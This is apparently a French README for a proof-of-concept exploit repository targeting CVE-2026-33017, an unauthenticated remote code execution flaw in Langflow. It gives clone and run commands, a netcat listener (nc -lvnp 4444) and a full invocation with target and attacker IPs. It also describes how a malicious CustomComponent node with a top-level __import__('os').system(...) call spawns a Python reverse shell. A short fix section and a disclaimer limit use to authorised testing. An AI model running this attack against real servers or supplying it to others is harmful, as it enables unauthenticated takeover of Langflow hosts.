
Exploit de preuve de concept en Python pour CVE-2026-33017, une vulnérabilité d'exécution de code à distance non authentifiée dans Langflow. Fournit un shell inverse via l'injection de nœuds de flux malveillants.
⚠️ AVERTISSEMENT : Ce dépôt est destiné uniquement à des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par cet outil.
CVE-2026-33017 est une vulnérabilité d'exécution de code à distance non authentifiée dans Langflow, un framework visuel pour créer des applications LangChain.
L'endpoint POST /api/v1/build_public_tmp/{flow_id}/flow permet de créer des flux publics sans authentification. Lorsque le paramètre facultatif data est fourni, l'endpoint utilise les données de flux contrôlées par l'attaquant (contenant du code Python arbitraire dans les définitions de nœuds) au lieu des données de flux stockées dans la base de données. Ce code est passé à exec() sans aucun sandboxing, ce qui entraîne une exécution de code à distance non authentifiée.
client_id (n'importe quelle valeur de chaîne arbitraire)git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
Sur votre machine d'attaque, démarrez un listener netcat pour recevoir le reverse shell :
nc -lvnp 4444
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444
| Argument | Requis | Description |
|---|---|---|
--url | Oui | URL cible (ex. : http://localhost:7860) |
--flow-id | Oui | UUID du flux public |
--lhost | Oui | Adresse IP de votre listener |
--lport | Oui | Port de votre listener |
--timeout | Non | Délai d'expiration de la requête en secondes (défaut : 15) |
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Fire exploit
python3 CVE-2026-33017.py \
--url http://192.168.1.100:7860 \
--flow-id 550e8400-e29b-41d4-a716-446655440000 \
--lhost 10.0.0.5 \
--lport 4444
craft_malicious_node() — Construit un nœud Langflow malveillant contenant un CustomComponent avec du code Python contrôlé par l'attaquant. Le code inclut un appel os.system() de niveau supérieur qui s'exécute pendant la construction du graphe (avant même que le flux ne « s'exécute »).
fire_payload() — Envoie le nœud malveillant au format JSON à l'endpoint non authentifié build_public_tmp avec un cookie client_id aléatoire.
Exécution du code — Le serveur analyse les données de flux fournies par l'attaquant, instancie le composant personnalisé et appelle exec() sur le code embarqué pendant prepare_global_scope(). L'affectation de niveau supérieur _r = __import__('os').system(...) déclenche immédiatement l'exécution de la commande.
Reverse Shell — La charge utile lance un reverse shell Python qui se connecte à votre listener.
L'endpoint build_public_tmp est conçu pour être non authentifié (pour les flux publics), mais il accepte à tort des données de flux fournies par l'attaquant via le paramètre data. Lorsque data est fourni, il contourne les données de flux stockées et transmet directement les nœuds contrôlés par l'attaquant au constructeur de graphe.
Supprimez le paramètre data de build_public_tmp. Les flux publics ne doivent exécuter que leurs données de flux stockées dans la base de données, jamais des données fournies par l'attaquant.
Ce projet est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.